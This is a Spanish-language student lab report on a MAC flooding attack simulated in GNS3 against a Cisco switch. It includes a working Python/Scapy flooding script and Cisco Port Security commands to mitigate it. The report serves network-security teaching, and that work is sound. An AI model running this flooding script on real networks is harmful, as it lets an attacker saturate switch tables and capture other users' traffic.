

INFORME TÉCNICO

Ataque MAC Flooding en Entorno GNS3

Estudiante	Juan Francisco Burgos Hiciano
Matrícula	2023-1981
Asignatura	Seguridad en Redes
Fecha	01 de junio de 2026

1. Descripción del Escenario

El presente laboratorio fue implementado en GNS3 con el objetivo de simular una red corporativa básica y analizar el impacto de un ataque de MAC Flooding en una infraestructura Cisco. El escenario permite demostrar cómo un atacante puede inundar la tabla CAM (Content Addressable Memory) del switch mediante el envío masivo de direcciones MAC falsas, provocando que el dispositivo opere como un hub y reenvíe tráfico a múltiples puertos, comprometiendo la confidencialidad de las comunicaciones.

1.1 Topología de Red

La topología está compuesta por los siguientes dispositivos:

Dispositivo	Rol	IP	Gateway
Router Cisco c7200	Gateway de red	192.168.140.1	N/A
Switch Cisco IOU L2	Conmutación L2	N/A	N/A
Kali Linux	Atacante	192.168.140.132	192.168.140.1
PC1 / VPCS	Víctima	192.168.140.120	192.168.140.1
Cloud VMnet8	Conectividad host	192.168.140.0/24	N/A

2. Marco Teórico — MAC Flooding

El ataque de MAC Flooding es una técnica de capa 2 del modelo OSI que explota una limitación inherente de los switches de red. Estos dispositivos mantienen una tabla CAM (Content Addressable Memory) que asocia direcciones MAC con puertos físicos para tomar decisiones de reenvío de tramas de forma eficiente.

Cuando la tabla CAM se satura:

- El switch no puede registrar nuevas asociaciones MAC-puerto.
- Comienza a reenviar tramas a todos los puertos (comportamiento de hub).
- Un atacante puede capturar tráfico destinado a otros dispositivos.
- La confidencialidad de las comunicaciones queda comprometida.

2.1 Herramientas Utilizadas

- Sistema Operativo: Kali Linux
- Lenguaje: Python 3.x con librería Scapy
- Simulador: GNS3 con dispositivos Cisco IOU y c7200
- Interfaz de red: eth0 — Red 192.168.140.0/24

3. Desarrollo del Ataque

3.1 Objetivo

Saturar la tabla CAM del switch Cisco IOU L2 mediante el envío masivo de tramas Ethernet con direcciones MAC de origen generadas aleatoriamente, forzando al switch a operar en modo difusión y permitiendo la captura del tráfico de PC1 desde Kali Linux.

3.2 Parámetros del Ataque

Parámetro	Valor
Interfaz	eth0
Red objetivo	192.168.140.0/24
MACs de origen	Generadas aleatoriamente
Destino de tramas	Broadcast / MACs variables
Herramienta	Python 3.x + Scapy
Resultado esperado	Saturación tabla CAM — switch en modo hub

3.3 Script del Ataque (Python / Scapy)

```
from scapy.all import *
import random
def mac_random():
    return ''.join(['%02x' % random.randint(0,255) for _ in range(6)])
IFACE = 'eth0'
print('[*] Iniciando MAC Flooding...')
count = 0
while True:
    src = mac_random()
    dst = mac_random()
    pkt = Ether(src=src, dst=dst) / IP() / UDP()
    sendp(pkt, iface=IFACE, verbose=False)
    count += 1
    print(f'\r[+] Tramas enviadas: {count}', end="")
```

4. Medidas de Mitigación

Para proteger la infraestructura de red ante ataques de MAC Flooding, se recomienda implementar Port Security en los puertos de acceso del switch. Esta característica limita la cantidad de direcciones MAC aprendidas por interfaz y define acciones automáticas al superar dicho límite.

4.1 Configuración Port Security en Cisco IOU

```
Switch(config)# interface FastEthernet0/1
Switch(config-if)# switchport mode access
Switch(config-if)# switchport port-security
Switch(config-if)# switchport port-security maximum 2
Switch(config-if)# switchport port-security violation shutdown
```

4.2 Beneficios de la Mitigación

- Limita el número de direcciones MAC permitidas por puerto.
- Evita la saturación de la tabla CAM del switch.
- Reduce el riesgo de captura de tráfico mediante MAC Flooding.
- Permite detectar y bloquear dispositivos no autorizados.
- Incrementa la seguridad de la infraestructura de capa 2.

4.3 Modos de Violación disponibles

Modo	Acción	Recomendado para
shutdown	Apaga el puerto (err-disabled)	Producción
restrict	Descarta tramas y genera log	Monitoreo
protect	Descarta tramas silenciosamente	Laboratorio

5. Conclusiones

El laboratorio demostró con éxito cómo un ataque de MAC Flooding puede comprometer la seguridad de una red de capa 2. Al saturar la tabla CAM del switch Cisco IOU L2, el dispositivo comenzó a reenviar tráfico a todos sus puertos, lo que habilitó la captura de comunicaciones destinadas a otros hosts de la red.

La implementación de Port Security demostró ser una contramedida eficaz, limitando el número de direcciones MAC por puerto y bloqueando automáticamente los puertos comprometidos. Este tipo de controles de seguridad de capa 2 son fundamentales en infraestructuras corporativas para prevenir ataques de reconocimiento pasivo y captura de credenciales.

Video demostrativo: <https://youtu.be/RKuWaAdzVhc>

REPOSITORIO: [jburgoshiciano-source/Ataque-MAC-Flooding-Gns3](https://github.com/jburgoshiciano-source/Ataque-MAC-Flooding-Gns3)